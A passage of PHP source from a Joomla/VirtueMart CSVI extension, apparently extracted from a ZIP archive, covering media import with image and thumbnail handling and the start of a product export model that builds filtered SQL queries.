$db->getQuery(true); $query->select('extension_id'); $query->from('#__extensions'); $query->where('name = '.$db->Quote($this->plugin_name)); $query->where('type = '.$db->Quote('plugin')); $db->setQuery($query); $result = $db->loadResult(); $csvilog->addDebug(JText::_('COM_CSVI_FIND_USER_ID'), true); if ($result) return $result; else return false; } else return false; } } ?>PK@y>\i0**@components/com_csvi/models/com_virtuemart/import/mediaimport.phpnuW+A_loadTables(); $this->loadSettings(); // Set some initial values $this->date = JFactory::getDate(); $this->user = JFactory::getUser(); } /** * Here starts the processing * * @copyright * @author RolandD * @todo Redo the validateInput * @see * @access public * @param * @return * @since 3.0 */ public function getStart() { // Get the logger $jinput = JFactory::getApplication()->input; // Load the data $this->loadData(); // Load the helper $this->helper = new Com_VirtueMart(); // Get the logger $csvilog = $jinput->get('csvilog', null, null); $this->virtuemart_vendor_id = $this->helper->getVendorId(); // Process data foreach ($this->csvi_data as $name => $value) { // Check if the field needs extra treatment switch ($name) { case 'published': switch ($value) { case 'n': case 'N': case '0': $value = 0; break; default: $value = 1; break; } $this->published = $value; break; case 'media_delete': $this->$name = strtoupper($value); break; default: $this->$name = $value; break; } } // All good return true; } /** * Process each record and store it in the database * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 3.0 */ public function getProcessRecord() { $db = JFactory::getDBO(); $jinput = JFactory::getApplication()->input; $csvilog = $jinput->get('csvilog', null, null); $template = $jinput->get('template', null, null); // Process the image $this->_processMedia(); // Set some basic values if (!isset($this->modified_on)) { $this->_medias->modified_on = $this->date->toMySQL(); $this->_medias->modified_by = $this->user->id; } // Find the media ID $this->_medias->file_url = $this->file_url; $this->_medias->check(); $this->virtuemart_media_id = $this->_medias->virtuemart_media_id; // Do we need to delete a media file? if ($this->media_delete == 'Y') { $this->_deleteMedia(); } else { // Check if the media exists if (empty($this->virtuemart_media_id)) { $this->_medias->created_on = $this->date->toMySQL(); $this->_medias->created_by = $this->user->id; } // Bind all the data $this->_medias->bind($this); // Store the data if ($this->_medias->store()) { if ($this->queryResult() == 'UPDATE') $csvilog->AddStats('updated', JText::_('COM_CSVI_UPDATE_MEDIAFILE')); else $csvilog->AddStats('added', JText::_('COM_CSVI_ADD_MEDIAFILE')); // Add a link to the product if the SKU is specified if (isset($this->product_sku)) { $this->_product_medias->virtuemart_media_id = $this->_medias->virtuemart_media_id; $this->_product_medias->virtuemart_product_id = $this->helper->getProductId(); if (!$this->_product_medias->check()) { if ($this->_product_medias->store()) { if ($this->queryResult() == 'UPDATE') $csvilog->AddStats('updated', JText::_('COM_CSVI_UPDATE_MEDIAXREF')); else $csvilog->AddStats('added', JText::_('COM_CSVI_ADD_MEDIAXREF')); } } } } else $csvilog->AddStats('incorrect', JText::sprintf('COM_CSVI_MEDIAFILE_NOT_ADDED', $this->_medias->getError())); // Store the debug message $csvilog->addDebug(JText::_('COM_CSVI_MEDIAFILE_QUERY'), true); } // Clean the tables $this->cleanTables(); } /** * Load the product files related tables * * @copyright * @author RolandD * @todo * @see * @access private * @param * @return * @since 3.0 */ private function _loadTables() { $this->_medias = $this->getTable('medias'); $this->_product_medias = $this->getTable('product_medias'); } /** * Cleaning the product files related tables * * @copyright * @author RolandD * @todo * @see * @access protected * @param * @return * @since 3.0 */ protected function cleanTables() { $this->_medias->reset(); $this->_product_medias->reset(); // Clean local variables $class_vars = get_class_vars(get_class($this)); foreach ($class_vars as $name => $value) { if (substr($name, 0, 1) != '_') { $this->$name = $value; } } } /** * Delete a media and its references * * @copyright * @author RolandD * @todo * @see * @access private * @param * @return * @since 4.0 */ private function _deleteMedia() { $jinput = JFactory::getApplication()->input; $csvilog = $jinput->get('csvilog', null, null); // Delete the product if ($this->_medias->delete($this->virtuemart_media_id)) { $db = JFactory::getDbo(); // Delete product reference $query = $db->getQuery(true); $query->delete('#__virtuemart_product_medias'); $query->where('virtuemart_media_id = '.$this->virtuemart_media_id); $db->setQuery($query); $csvilog->addDebug(JText::_('COM_CSVI_DEBUG_DELETE_PRODUCT_XREF'), true); $db->query(); $csvilog->AddStats('deleted', JText::sprintf('COM_CSVI_MEDIA_DELETED', $this->virtuemart_media_id)); } else { $csvilog->AddStats('incorrect', JText::sprintf('COM_CSVI_MEDIA_NOT_DELETED', $this->virtuemart_media_id)); } return true; } /** * Process media files * * @copyright * @author RolandD * @todo * @see * @access private * @param * @return * @since 4.0 */ private function _processMedia() { $jinput = JFactory::getApplication()->input; $csvilog = $jinput->get('csvilog', null, null); $template = $jinput->get('template', null, null); // Check if any image handling needs to be done if ($template->get('process_image', 'image', false)) { if (!is_null($this->file_url)) { // Image handling $imagehelper = new ImageHelper; // Verify the original image if ($imagehelper->isRemote($this->file_url)) { $original = $this->file_url; $remote = true; if ($template->get('save_images_on_server', 'image')) { switch ($this->file_type) { case 'category': $base = $template->get('file_location_category_images', 'path'); break; default: $base = $template->get('file_location_product_images', 'path'); break; } } else $base = ''; $full_path = $base; } else { // Create the full file_url path switch ($this->file_type) { case 'category': $base = $template->get('file_location_category_images', 'path'); break; default: $base = $template->get('file_location_product_images', 'path'); break; } // Check if the image contains the image path $dirname = dirname($this->file_url); if (strpos($base, $dirname) !== false) { $image = basename($this->file_url); } $original = $base.$this->file_url; $remote = false; // Get subfolders $path_parts = pathinfo($original); $full_path = $path_parts['dirname'].'/'; $csvilog->addDebug(JText::sprintf('COM_CSVI_CREATED_FILE_URL', $original)); $remote = false; } // Generate image names $file_details = $imagehelper->ProcessImage($original, $full_path); // Process the file details if ($file_details['exists'] && $file_details['isimage']) { $media = array(); $this->file_title = ($this->file_title) ? $this->file_title : $this->file_url; $this->file_description = ($this->file_description) ? $this->file_description : $this->file_url; $this->file_meta = ($this->file_meta) ? $this->file_meta : $this->file_url; $this->file_mimetype = $file_details['mime_type']; $this->file_type = $this->file_type; $this->file_is_product_image = ($this->file_type == 'product') ? 1 : 0; $this->file_is_downloadable = ($this->file_is_downloadable) ? $this->file_is_downloadable : 0; $this->file_is_forSale = ($this->file_is_forSale) ? $this->file_is_forSale : 0; $this->file_url = (empty($file_details['output_path'])) ? $file_details['output_name'] : $file_details['output_path'].$file_details['output_name']; // Create the thumbnail if ($template->get('thumb_create', 'image')) { // Get the subfolder structure $thumb_path = str_ireplace($base, '', $full_path); if (empty($this->file_url_thumb)) $this->file_url_thumb = 'resized/'.$thumb_path.basename($this->file_url); if (!$remote) $original = $this->file_url; $this->file_url_thumb = $imagehelper->createThumbnail($original, $base, $this->file_url_thumb); } else if (empty($this->file_url_thumb)) $this->file_url_thumb = $this->file_url; } } } } }PK@y>\^Bcomponents/com_csvi/models/com_virtuemart/export/productexport.phpnuW+Ainput; $db = JFactory::getDbo(); $csvidb = new CsviDb(); $jinput = JFactory::getApplication()->input; $csvilog = $jinput->get('csvilog', null, null); $template = $jinput->get('template', null, null); $exportclass = $jinput->get('export.class', null, null); $export_fields = $jinput->get('export.fields', array(), 'array'); $this->_domainname = CsviHelper::getDomainName(); $helper = new Com_VirtueMart(); $sef = new CsviSef(); // Build something fancy to only get the fieldnames the user wants $userfields = array(); foreach ($export_fields as $column_id => $field) { if ($field->process) { switch ($field->field_name) { case 'created_on': case 'modified_on': case 'locked_on': case 'created_by': case 'modified_by': case 'locked_by': case 'virtuemart_product_id': case 'virtuemart_vendor_id': case 'hits': case 'metaauthor': case 'metarobot': case 'published': $userfields[] = $db->qn('#__virtuemart_products').'.'.$db->qn($field->field_name); break; case 'category_id': case 'category_path': $userfields[] = $db->qn('#__virtuemart_product_categories').'.'.$db->qn('virtuemart_category_id'); $userfields[] = $db->qn('#__virtuemart_products').'.'.$db->qn('virtuemart_product_id'); break; case 'product_name': case 'product_s_desc': case 'product_desc': case 'metadesc': case 'metakey': case 'slug': case 'customtitle': case 'custom_value': case 'custom_price': case 'custom_param': case 'custom_title': case 'file_url': case 'file_url_thumb': case 'shopper_group_name': $userfields[] = $db->qn('#__virtuemart_products').'.'.$db->qn('virtuemart_product_id'); break; case 'product_parent_sku': $userfields[] = $db->qn('#__virtuemart_products').'.'.$db->qn('product_parent_id'); break; case 'related_products': $userfields[] = $db->qn('#__virtuemart_products').'.'.$db->qn('virtuemart_product_id').' AS main_product_id'; break; case 'product_box': $userfields[] = $db->qn('#__virtuemart_products').'.'.$db->qn('product_packaging'); break; case 'product_price': case 'price_with_tax': $userfields[] = $db->qn('#__virtuemart_product_prices').'.'.$db->qn('product_price'); $userfields[] = $db->qn('#__virtuemart_currencies').'.'.$db->qn('currency_code_3'); break; case 'product_url': $userfields[] = $db->qn('#__virtuemart_products').'.'.$db->qn('virtuemart_product_id'); $userfields[] = $db->qn('#__virtuemart_products').'.'.$db->qn('product_url'); $userfields[] = $db->qn('#__virtuemart_products').'.'.$db->qn('product_parent_id'); break; case 'price_with_discount': $userfields[] = $db->qn('#__virtuemart_product_prices').'.'.$db->qn('product_price'); $userfields[] = $db->qn('#__virtuemart_currencies').'.'.$db->qn('currency_code_3'); //$userfields[] = $db->qn('#__virtuemart_calcs').'.'.$db->qn('calc_value'); //$userfields[] = $db->qn('#__virtuemart_calcs').'.'.$db->qn('calc_value_mathop'); //$userfields[] = $db->qn('#__virtuemart_calcs').'.'.$db->qn('calc_kind'); break; case 'custom_shipping': $userfields[] = $db->qn('#__virtuemart_product_prices').'.'.$db->qn('product_price'); $userfields[] = '1 AS tax_rate'; break; case 'max_order_level': case 'min_order_level': $userfields[] = $db->qn('#__virtuemart_products').'.'.$db->qn('product_params'); break; case 'basepricewithtax': case 'discountedpricewithouttax': case 'pricebeforetax': case 'salesprice': case 'taxamount': case 'discountamount': case 'pricewithouttax': case 'product_currency': $userfields[] = $db->qn('#__virtuemart_products.virtuemart_product_id'); $userfields[] = $db->qn('#__virtuemart_currencies.currency_code_3'); break; case 'virtuemart_shoppergroup_id': case 'shopper_group_name_price': $userfields[] = $db->qn('#__virtuemart_product_prices.virtuemart_shoppergroup_id'); break; // Man made fields, do not export them case 'custom': case 'picture_url': case 'manufacturer_name': break; default: $userfields[] = $db->qn($field->field_name); break; } } } /** Export SQL Query * Get all products - including items * as well as products without a price */ $userfields = array_unique($userfields); $query = $db->getQuery(true); $query->select(implode(",\n", $userfields)); $query->from('#__virtuemart_products'); $query->leftJoin('#__virtuemart_product_prices ON #__virtuemart_products.virtuemart_product_id = #__virtuemart_product_prices.virtuemart_product_id'); $query->leftJoin('#__virtuemart_product_manufacturers ON #__virtuemart_products.virtuemart_product_id = #__virtuemart_product_manufacturers.virtuemart_product_id'); $query->leftJoin('#__virtuemart_shoppergroups ON #__virtuemart_product_prices.virtuemart_shoppergroup_id = #__virtuemart_shoppergroups.virtuemart_shoppergroup_id'); $query->leftJoin('#__virtuemart_manufacturers ON #__virtuemart_product_manufacturers.virtuemart_manufacturer_id = #__virtuemart_manufacturers.virtuemart_manufacturer_id'); $query->leftJoin('#__virtuemart_product_categories ON #__virtuemart_products.virtuemart_product_id = #__virtuemart_product_categories.virtuemart_product_id'); $query->leftJoin('#__virtuemart_categories ON #__virtuemart_product_categories.virtuemart_category_id = #__virtuemart_categories.virtuemart_category_id'); $query->leftJoin('#__virtuemart_currencies ON #__virtuemart_currencies.virtuemart_currency_id = #__virtuemart_product_prices.product_currency'); // Check if there are any selectors $selectors = array(); // Filter by product category /** * We are doing a selection on categories, need to redo the query to make sure child products get included * 1. Search all product ID's for that particular category * 2. Search for all child product ID's * 3. Load all products with these ids */ $productcategories = $template->get('product_categories', 'product', false); if ($productcategories && $productcategories[0] != '') { $product_ids = array(); // If selected get products of all subcategories as well if ($template->get('incl_subcategory', 'product', false)) { $q_subcat_ids = "SELECT category_child_id FROM #__virtuemart_category_categories WHERE category_parent_id IN ('".implode("','", $productcategories)."')"; $db->setQuery($q_subcat_ids); $subcat_ids = $db->loadResultArray(); $productcategories = array_merge($productcategories, $subcat_ids); $csvilog->addDebug(JText::_('COM_CSVI_EXPORT_QUERY'), true); } // Get only the parent products and products without children if ($template->get('parent_only', 'product', 0, 'bool')) { // Get all product IDs in the selected categories $q_product_ids = "SELECT p.virtuemart_product_id FROM #__virtuemart_products p LEFT JOIN #__virtuemart_product_categories x ON p.virtuemart_product_id = x.virtuemart_product_id WHERE x.virtuemart_category_id IN ('".implode("','", $productcategories)."') AND p.product_parent_id = 0"; $db->setQuery($q_product_ids); $product_ids = $db->loadResultArray(); $csvilog->addDebug(JText::_('COM_CSVI_EXPORT_QUERY'), true); } // Get only the child products and products without children else if ($template->get('child_only', 'product', 0, 'bool')) { // Load all non child IDs $q_child = "SELECT p.virtuemart_product_id FROM #__virtuemart_products p LEFT JOIN #__virtuemart_product_categories x ON p.virtuemart_product_id = x.virtuemart_product_id WHERE x.virtuemart_category_id IN ('".implode("','", $productcategories)."')"; $db->setQuery($q_child); $allproduct_ids = $db->loadResultArray(); $csvilog->addDebug(JText::_('COM_CSVI_EXPORT_QUERY'), true); // Get all child product IDs in the selected categories $q_child = "SELECT p.virtuemart_product_id FROM #__virtuemart_products p WHERE p.product_parent_id IN ('".implode("','", $allproduct_ids)."')"; $db->setQuery($q_child); $child_ids = $db->loadResultArray(); $csvilog->addDebug(JText::_('COM_CSVI_EXPORT_QUERY'), true); // Get all parent product IDs in the selected categories $q_child = "SELECT p.product_parent_id FROM #__virtuemart_products p WHERE p.virtuemart_product_id IN ('".implode("','", $child_ids)."')"; $db->setQuery($q_child); $parent_ids = $db->loadResultArray(); $csvilog->addDebug(JText::_('COM_CSVI_EXPORT_QUERY'), true); // Combine all the IDs $product_ids = array_merge($child_ids, array_diff($allproduct_ids, $parent_ids)); } else { // Get all product IDs $q_product_ids = "SELECT p.virtuemart_product_id FROM #__virtuemart_products p LEFT JOIN #__virtuemart_product_categories x ON p.virtuemart_product_id = x.virtuemart_product_id WHERE x.virtuemart_category_id IN ('".implode("','", $productcategories)."')"; $db->setQuery($q_product_ids); $product_ids = $db->loadResultArray(); $csvilog->addDebug(JText::_('COM_CSVI_EXPORT_QUERY'), true); // Get all child product IDs if ($product_ids) { $q_childproduct_ids = "SELECT p.virtuemart_product_id FROM #__virtuemart_products p WHERE p.product_parent_id IN ('".implode("','", $product_ids)."')"; $db->setQuery($q_childproduct_ids); $childproduct_ids = $db->loadResultArray(); $csvilog->addDebug(JText::_('COM_CSVI_EXPORT_QUERY'), true); // Now we have all the product IDs $product_ids = array_merge($product_ids, $childproduct_ids); } } // Check if the user want child products if (!empty($product_ids)) $selectors[] = '#__virtuemart_products.virtuemart_product_id IN (\''.implode("','", $product_ids).'\')'; } else { // Filter by published category state $category_publish = $template->get('publish_state_categories', 'product'); // Filter on parent products and products without children if ($template->get('parent_only', 'product', 0, 'bool')) { $selectors[] = '#__virtuemart_products.product_parent_id = 0'; if (!empty($category_publish)) { $selectors[] = '#__virtuemart_categories.published = '.$category_publish; } } // Filter on child products and products without children else if ($template->get('child_only', 'product', 0, 'bool')) { // Load all non child IDs $q_nonchild = 'SELECT #__virtuemart_products.virtuemart_product_id FROM #__virtuemart_products '; $state = ($category_publish == '1') ? '0' : '1'; if (!empty($category_publish)) { $q_nonchild .= 'LEFT JOIN #__virtuemart_product_categories ON #__virtuemart_products.virtuemart_product_id = #__virtuemart_product_categories.virtuemart_product_id LEFT JOIN #__virtuemart_categories ON #__virtuemart_product_categories.virtuemart_category_id = #__virtuemart_categories.virtuemart_category_id WHERE #__virtuemart_categories.published = '.$state; } $db->setQuery($q_nonchild); $nonchild_ids = $db->loadResultArray(); $csvilog->addDebug(JText::_('COM_CSVI_EXPORT_QUERY'), true); // Get the child IDs from the filtered category if (!empty($category_publish)) { $q_nonchild = 'SELECT #__virtuemart_products.virtuemart_product_id FROM #__virtuemart_products '; $q_nonchild .= 'LEFT JOIN #__virtuemart_product_categories ON #__virtuemart_products.virtuemart_product_id = #__virtuemart_product_categories.virtuemart_product_id LEFT JOIN #__virtuemart_categories ON #__virtuemart_product_categories.virtuemart_category_id = #__virtuemart_categories.virtuemart_category_id WHERE #__virtuemart_products.product_parent_id IN (\''.implode("','", $nonchild_ids).'\')'; $q_nonchild .= ' GROUP BY virtuemart_product_id'; $db->setQuery($q_nonchild); $child_ids = $db->loadResultArray(); $csvilog->addDebug(JText::_('COM_CSVI_EXPORT_QUERY'), true); if (is_array($child_ids)) $nonchild_ids = array_merge($nonchild_ids, $child_ids); } $selectors[] = '#__virtuemart_products.virtuemart_product_id NOT IN (\''.implode("','", $nonchild_ids).'\')'; } else { if (!empty($category_publish)) { // Get all product IDs $q_product_ids = "SELECT p.virtuemart_product_id FROM #__virtuemart_products p LEFT JOIN #__virtuemart_product_categories x ON p.virtuemart_product_id = x.virtuemart_product_id LEFT JOIN #__virtuemart_categories c ON x.virtuemart_category_id = c.virtuemart_category_id WHERE c.category_publish = ".$db->q($category_publish); $db->setQuery($q_product_ids); $product_ids = $db->loadResultArray(); $csvilog->addDebug(JText::_('COM_CSVI_EXPORT_QUERY'), true); // Get all child product IDs if ($product_ids) { $q_childproduct_ids = "SELECT p.virtuemart_product_id FROM #__virtuemart_products p WHERE p.product_parent_id IN ('".implode("','", $product_ids)."')"; $db->setQuery($q_childproduct_ids); $childproduct_ids = $db->loadResultArray(); $csvilog->addDebug(JText::_('COM_CSVI_EXPORT_QUERY'), true); // Now we have all the product IDs $product_ids = array_merge($product_ids, $childproduct_ids); } // Check if the user want child products if (!empty($product_ids)) $selectors[] = '#__virtuemart_products.virtuemart_product_id IN (\''.implode("','", $product_ids).'\')'; } } } // Filter on featured products $featured = $template->get('featured', 'product', ''); if ($featured) { $selectors[] = "#__virtuemart_products.product_special = 1"; } // Filter by published state $product_publish = $template->get('publish_state', 'general'); if ($product_publish !== '' && ($product_publish == 1 || $product_publish == 0)) { $selectors[] = '#__virtuemart_products.published = '.$db->q($product_publish); } // Filter by product SKU $productskufilter = $template->get('productskufilter', 'product'); if ($productskufilter) { $productskufilter .= ','; if (strpos($productskufilter, ',')) { $skus = explode(',', $productskufilter); $wildcard = ''; $normal = array(); foreach ($skus as $sku) { if (!empty($sku)) { if (strpos($sku, '%')) { $wildcard .= "#__virtuemart_products.product_sku LIKE ".$db->q($sku)." OR "; } else $normal[] = $db->q($sku); } } if (substr($wildcard, -3) == 'OR ') $wildcard = substr($wildcard, 0, -4); if (!empty($wildcard) && !empty($normal)) { $selectors[] = "(".$wildcard." OR #__virtuemart_products.product_sku IN (".implode(',', $normal)."))"; } else if (!empty($wildcard)) { $selectors[] = "(".$wildcard.")"; } else if (!empty($normal)) { $selectors[] = "(#__virtuemart_products.product_sku IN (".implode(',', $normal)."))"; } } } // Filter on price from $priceoperator = $template->get('priceoperator', 'product', 'gt'); $pricefrom = $template->get('pricefrom', 'product', 0, 'float'); $priceto = $template->get('priceto', 'product', 0, 'float'); if (!empty($pricefrom)) { switch ($priceoperator) { case 'gt': $selectors[] = "ROUND(#__virtuemart_product_prices.product_price, ".$template->get('export_price_format_decimal', 'general', 2, 'int').") > ".$pricefrom; break; case 'eq': $selectors[] = "ROUND(#__virtuemart_product_prices.product_price, ".$template->get('export_price_format_decimal', 'general', 2, 'int').") = ".$pricefrom; break; case 'lt': $selectors[] = "ROUND(#__virtuemart_product_prices.product_price, ".$template->get('export_price_format_decimal', 'general', 2, 'int').") < ".$pricefrom; break; case 'bt': $selectors[] = "ROUND(#__virtuemart_product_prices.product_price, ".$template->get('export_price_format_decimal', 'general', 2, 'int').") BETWEEN ".$pricefrom." AND ".$priceto; break; } } // Filter by stocklevel start $stocklevelstart = $template->get('stocklevelstart', 'product', 0, 'int'); if ($stocklevelstart) { $selectors[] = '#__virtuemart_products.product_in_stock >= '.$stocklevelstart; } // Filter by stocklevel end $stocklevelend = $template->get('stocklevelend', 'product', 0, 'int'); if ($stocklevelend) { $selectors[] = '#__virtuemart_products.product_in_stock <= '.$stocklevelend; } // Filter by shopper group id $shopper_group = $template->get('shopper_groups', 'product', array()); if ($shopper_group && $shopper_group[0] != 'none') { $selectors[] = "#__virtuemart_product_prices.virtuemart_shoppergroup_id IN ('".implode("','", $shopper_group)."')"; } // Filter by manufacturer $manufacturer = $template->get('manufacturers', 'product', array()); if ($manufacturer && $manufacturer[0] != 'none') { $selectors[] = "#__virtuemart_manufacturers.virtuemart_manufacturer_id IN ('".implode("','", $manufacturer)."')"; } // Check if we need to attach any selectors to the query if (count($selectors) > 0 ) $query->where(implode("\n AND ", $selectors)); // Ingore fields $ignore = array('metadesc', 'metakey', 'product_name', 'product_s_desc', 'product_desc', 'slug', 'customtitle', 'category_path', 'manufacturer_name', 'category_id', 'picture_url', 'product_box', 'product_parent_sku', 'related_products', 'custom_shipping', 'basepricewithtax', 'discountedpricewithouttax', 'pricebeforetax', 'salesprice', 'taxamount', 'discountamount', 'pricewithouttax', 'custom_title', 'custom_value', 'custom_price', 'custom_param', 'file_url', 'file_url_thumb', 'min_order_level', 'max_order_level', 'shopper_group_name', 'shopper_group_name_price'); // Check if we need to group the orders together $groupby = $template->get('groupby', 'general', false, 'bool'); if ($groupby) { $filter = $this->getFilterBy('groupby', $ignore); if (!empty($filter)) $query->group($filter); } // Order by set field $orderby = $this->getFilterBy('sort', $ignore); if (!empty($orderby)) $query->order($orderby); // Add export limits $limits = $this->getExportLimit(); // Execute the query $csvidb->setQuery($query, $limits['offset'], $limits['limit']); $csvilog->addDebug(JText::_('COM_CSVI_EXPORT_QUERY'), true); // There are no records, write SQL query to log if (!is_null($csvidb->getErrorMsg())) { $this->addExportContent(JText::sprintf('COM_CSVI_ERROR_RETRIEVING_DATA', $csvidb->getErrorMsg())); $this->writeOutput(); $csvilog->AddStats('incorrect', $csvidb->getErrorMsg()); } else { $logcount = $csvidb->getNumRows(); JRequest::setVar('logcount', $logcount); if ($logcount > 0) { $linenumber = 1; while ($record = $csvidb->getRow()) { $csvilog->setLinenumber($linenumber++); // Start the XML/HTML output if ($template->get('export_file', 'general') == 'xml' || $template->get('export_file', 'general') == 'html') $this->addExportContent($exportclass->NodeStart()); // Load JoomFish translation if needed $joomfish = array(); if ($template->get('use_joomfish', 'product', false)) { $jfdb = JFactory::getDBO(); // Get the product details $q = "SELECT value, reference_field FROM #__jf_content WHERE reference_table = 'vm_product' AND language_id = ".$template->get('joomfish_language', 'product')." AND reference_id = ".$record->main_product_id; $jfdb->setQuery($q); $joomfish = $jfdb->loadObjectList('reference_field'); } // Reset the prices $this->_prices = array(); // Process all the export fields foreach ($export_fields as $column_id => $field) { if ($field->process) { $fieldname = $field->field_name; // Add the replacement & JoomFish if (isset($record->$fieldname)) { // Get the JoomFish data if (array_key_exists($fieldname, $joomfish)) $fieldvalue = $joomfish[$fieldname]->value; else $fieldvalue = $record->$fieldname; $fieldvalue = CsviHelper::replaceValue($field->replace, $fieldvalue); } else $fieldvalue = ''; switch ($fieldname) { case 'category_id': $category_path = trim($helper->createCategoryPath($record->virtuemart_product_id, true)); if (strlen(trim($category_path)) == 0) $category_path = $field->default_value; $category_path = CsviHelper::replaceValue($field->replace, $category_path); $this->addExportField($field->combine, $category_path, $fieldname, $field->column_header, true); break; case 'category_path': $category_path = trim($helper->createCategoryPath($record->virtuemart_product_id)); if (strlen(trim($category_path)) == 0) $category_path = $field->default_value; $category_path = CsviHelper::replaceValue($field->replace, $category_path); $this->addExportField($field->combine, $category_path, $fieldname, $field->column_header, true); break; case 'product_name': case 'product_s_desc': case 'product_desc': case 'metadesc': case 'metakey': case 'slug': case 'customtitle': $query = $db->getQuery(true); $query->select($fieldname); $query->from('#__virtuemart_products_'.$template->get('language', 'general')); $query->where('virtuemart_product_id = '.$record->virtuemart_product_id); $db->setQuery($query); $fieldvalue = CsviHelper::replaceValue($field->replace, $db->loadResult()); // Check if we have any content otherwise use the default value if (strlen(trim($fieldvalue)) == 0) $fieldvalue = $field->default_value; $this->addExportField($field->combine, $fieldvalue, $fieldname, $field->column_header, true); break; case 'picture_url': $query = $db->getQuery(true); $query->select('file_url'); $query->from('#__virtuemart_medias'); $query->leftJoin('#__virtuemart_product_medias ON #__virtuemart_product_medias.virtuemart_media_id = #__virtuemart_medias.virtuemart_media_id'); $query->where('virtuemart_product_id = '.$record->virtuemart_product_id); $query->order('#__virtuemart_product_medias.ordering'); $db->setQuery($query, 0, 1); $fieldvalue = $db->loadResult(); // Check if there is already a product full image if (strlen(trim($fieldvalue)) > 0) $picture_url = $this->_domainname.'/'.$fieldvalue; else $picture_url = $field->default_value; $picture_url = CsviHelper::replaceValue($field->replace, $picture_url); $this->addExportField($field->combine, $picture_url, $fieldname, $field->column_header); break; case 'product_parent_sku': $query = $db->getQuery(true); $query->select('product_sku'); $query->from('#__virtuemart_products'); $query->where('virtuemart_product_id = '.$record->product_parent_id); $db->setQuery($query); $product_parent_sku = $db->loadResult(); $product_parent_sku = CsviHelper::replaceValue($field->replace, $product_parent_sku); $this->addExportField($field->combine, $product_parent_sku, $fieldname, $field->column_header); break; case 'related_products': // Get the custom ID $related_records = array(); $query = $db->getQuery(true); $query->select($db->qn('#__virtuemart_products').'.'.$db->qn('product_sku')); $query->from($db->qn('#__virtuemart_product_customfields')); $query->leftJoin($db->qn('#__virtuemart_customs').' ON '.$db->qn('#__virtuemart_customs').'.'.$db->qn('virtuemart_custom_id').' = '.$db->qn('#__virtuemart_product_customfields').'.'.$db->qn('virtuemart_custom_id')); $query->leftJoin($db->qn('#__virtuemart_products').' ON '.$db->qn('#__virtuemart_products').'.'.$db->qn('virtuemart_product_id').' = '.$db->qn('#__virtuemart_product_customfields').'.'.$db->qn('custom_value')); $query->where($db->qn('#__virtuemart_customs').'.'.$db->qn('field_type').' = '.$db->q('R')); $query->where($db->qn('#__virtuemart_product_customfields').'.'.$db->qn('virtuemart_product_id').' = '.$db->q($record->virtuemart_product_id)); $query->group($db->qn('#__virtuemart_products').'.'.$db->qn('product_sku')); $db->setQuery($query); $related_records = $db->loadResultArray(); if (is_array($related_records)) $related_products = implode('|', $related_records); else $related_products = ''; if (strlen(trim($related_products)) == 0) $related_products = $field->default_value; $related_products = CsviHelper::replaceValue($field->replace, $related_products); $this->addExportField($field->combine, $related_products, $fieldname, $field->column_header); break; case 'product_available_date': case 'created_on': case 'modified_on': case 'locked_on': $date = JFactory::getDate($record->$fieldname); $fieldvalue = CsviHelper::replaceValue($field->replace, date($template->get('export_date_format', 'general'), $date->toUnix())); $this->addExportField($field->combine, $fieldvalue, $fieldname, $field->column_header); break; case 'product_box': $product_box = $record->product_packaging>>16&0xFFFF; $product_box = CsviHelper::replaceValue($field->replace, $product_box); $this->addExportField($field->combine, $product_box, $fieldname, $field->column_header); break; case 'product_packaging': $product_packaging = $record->product_packaging & 0xFFFF; $product_packaging = CsviHelper::replaceValue($field->replace, $product_packaging); $this->addExportField($field->combine, $product_packaging, $fieldname, $field->column_header); break; case 'product_price': $product_price = $this->_convertPrice($record->product_price, $record->currency_code_3); $product_price = number_format($product_price, $template->get('export_price_format_decimal', 'general', 2, 'int'), $template->get('export_price_format_decsep', 'general'), $template->get('export_price_format_thousep', 'general')); if (strlen(trim($product_price)) == 0) $product_price = $field->default_value; if ($template->get('add_currency_to_price', 'general')) { if ($template->get('targetcurrency', 'product') != '') { $product_price = $template->get('targetcurrency', 'product').' '.$product_price; } else $product_price = $record->currency_code_3.' '.$product_price; } $product_price = CsviHelper::replaceValue($field->replace, $product_price); $this->addExportField($field->combine, $product_price, $fieldname, $field->column_header); break; case 'product_override_price': $product_price = number_format($record->product_override_price, $template->get('export_price_format_decimal', 'general', 2, 'int'), $template->get('export_price_format_decsep', 'general'), $template->get('export_price_format_thousep', 'general')); if (strlen(trim($product_price)) == 0) $product_price = $field->default_value; if ($template->get('add_currency_to_price', 'general')) { if ($template->get('targetcurrency', 'product') != '') { $product_price = $template->get('targetcurrency', 'product').' '.$product_price; } else $product_price = $record->currency_code_3.' '.$product_price; } $product_price = CsviHelper::replaceValue($field->replace, $product_price); $this->addExportField($field->combine, $product_price, $fieldname, $field->column_header); break; case 'product_url': // Check if there is already a product URL if (is_null($record->product_url) || strlen(trim($record->product_url)) == 0) { // Get the category id // Check to see if we have a child product $category_id = $helper->getCategoryId($record->virtuemart_product_id); if ($category_id > 0) { // Let's create a SEF URL $_SERVER['QUERY_STRING'] = 'option=com_virtuemart&Itemid='.$template->get('vm_itemid', 'product', 1, 'int').'&view=productdetails&virtuemart_product_id='.$record->virtuemart_product_id.'&virtuemart_category_id='.$category_id; $product_url = $sef->getSiteRoute('index.php?'.$_SERVER['QUERY_STRING']); } else $product_url = ""; } // There is a product URL, use it else $product_url = $record->product_url; // Add the suffix if (!empty($product_url)) $product_url .= $template->get('producturl_suffix', 'product'); // Check for https, replace with http. https has unnecessary overhead if (substr($product_url, 0, 5) == 'https') $product_url = 'http'.substr($product_url, 5); $product_url = CsviHelper::replaceValue($field->replace, $product_url); $this->addExportField($field->combine, $product_url, $fieldname, $field->column_header, true); break; case 'price_with_tax': $prices = $this->_getProductPrice($record->virtuemart_product_id); $price_with_tax = number_format($prices['salesPrice'], $template->get('export_price_format_decimal', 'general', 2, 'int'), $template->get('export_price_format_decsep', 'general'), $template->get('export_price_format_thousep', 'general')); // Check if we have any content otherwise use the default value if (strlen(trim($price_with_tax)) == 0) $price_with_tax = $field->default_value; if ($template->get('add_currency_to_price', 'general')) $price_with_tax = $record->product_currency.' '.$price_with_tax; $price_with_tax = CsviHelper::replaceValue($field->replace, $price_with_tax); $this->addExportField($field->combine, $price_with_tax, $fieldname, $field->column_header); break; case 'basepricewithtax': case 'discountedpricewithouttax': case 'pricebeforetax': case 'salesprice': case 'taxamount': case 'discountamount': case 'pricewithouttax': $prices = $this->_getProductPrice($record->virtuemart_product_id); if (isset($prices[$fieldname])) { $price = number_format($prices[$fieldname], $template->get('export_price_format_decimal', 'general', 2, 'int'), $template->get('export_price_format_decsep', 'general'), $template->get('export_price_format_thousep', 'general')); } 